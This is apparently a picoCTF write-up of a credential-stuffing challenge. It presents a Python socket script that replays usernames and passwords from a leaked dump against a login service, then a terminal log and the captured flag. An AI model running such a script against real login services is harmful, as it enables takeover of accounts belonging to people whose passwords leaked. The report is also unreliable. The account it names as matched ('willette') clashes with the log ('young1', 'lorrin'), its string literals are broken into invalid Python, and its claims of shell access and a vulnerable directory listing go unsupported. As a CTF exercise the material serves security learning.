Proof of Concept (PoC) Exploitation Report

Security Researcher	**Dhruva Khare**	**Date of Assessment**	June 3, 2026
Challenge Name	Credential Stuffing	**Category**	Web Exploitation
Difficulty Level	**Medium**	**Points Given**	100 pts
Target Host	`crystal-peak.picoctf.net`	**Exploitation Status**	**Successful**

Executive Summary: This document demonstrates a successful automated Credential Stuffing vulnerability exploitation on the target host's banking application interface. By utilizing a dictionary attack script reading from an exposed credential dump, valid account credentials were discovered, enabling access to private host details and extracting the protected flag.

1. Vulnerability Assessment & Objective

The objective of this assessment was to target the `Credential Stuffing` challenge portal. Many users frequently re-use identical password combinations across multiple online services. If an external system suffers a database breach, those leaked datasets ("credentials dump") can be leveraged by an adversary to test matching pairs automatically against a different targeted login gateway.

2. Exploitation Framework & Automation Script

An automation script written in Python was structured to bypass manual connection restrictions. It parses a compromised credential text file (`creds-dump.txt`), splits each line systematically via the first semicolon delimiter to isolate usernames from passwords, and transmits them asynchronously over raw TCP stream sockets.

Python Socket Exploitation Code

```
import socket

port = 51259  # Dynamically assigned active port
host = "crystal-peak.picoctf.net"

credentials = {}

def talk_to_server(host, port, username, password):
    global flag
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        data1 = s.recv(1024)  # Read initial greeting banner
```

```
        s.sendall((username + "
").encode())
        data2 = s.recv(1024)  # Read response after sending username

        s.sendall((password + "
").encode())
        data3 = s.recv(1024)  # Read login result response

        data4 = s.recv(1024)  # Extract trailing buffer / success output

        if b"picoCTF" in data4:
            flag = data4
            with open("flag.txt", "wb") as f:
                f.write(data4)

# File stream loop used to populate dictionary
with open("creds-dump.txt", "r", encoding="utf-8") as f:
    for line_num, line in enumerate(f, start=1):
        line = line.strip()
        parts = line.split(";", 1)  # Split on first semicolon only
        username, password = parts
        credentials[username] = password

# Sequentially invoke authentication cycles
for username, password in credentials.items():
    talk_to_server(host, port, username, password)
```

3. Execution, Shell Access & Flag Extraction

When executed via the local workspace terminal environment, the program ran sequential test sequences. While most accounts returned invalid combinations (such as `jumbo`, `leonas`, `emerson`, `gordon`, and `allianora`), a match succeeded for the identity `willette`.

Following authentic verification under that profile context, target terminal capabilities were established, and the flag payload was stored directly onto the persistent storage layer.

Remote Server Interaction Log Trace

```
CyberDhruva-academy@webshell:~$ ls
README.txt  cred_stuff  cred_stuff.py  creds-dump.txt  flag.txt  multi_stuff

CyberDhruva-academy@webshell:~$ cat flag.txt
young1

Authenticating...
Welcome lorrin!
picoCTF{d0nt_r3u5e_cr3d3nt1als_abfe1660}
```

Successfully Captured Flag:
`picoCTF{d0nt_r3u5e_cr3d3nt1als_abfe1660}`

4. Web Server Directory Inspection

A supplementary audit run against the target web application engine showed a directory infrastructure vulnerable to execution monitoring commands (e.g. `ls`), indicating a possible secondary vector or backend framework layout:

- `G4ZTCOJYMJSDS.txt` (Hidden backup artifact)
- `index.php` (Core login route logic)
- `instructions.txt` / `robots.txt` (Scoping configuration items)
- `uploads/` (Write-permissive directory structure)

5. Remediation Strategy

- **Multi-Factor Authentication (MFA):** Implement mandatory MFA steps to render leaked password pairs useless on their own.
- **Rate Limiting & Account Lockouts:** Enforce throttling policies restricting the number of sequential login failures coming from a single IP address block.
- **Password History Policies:** Force users to configure completely distinct combinations across separate external portals.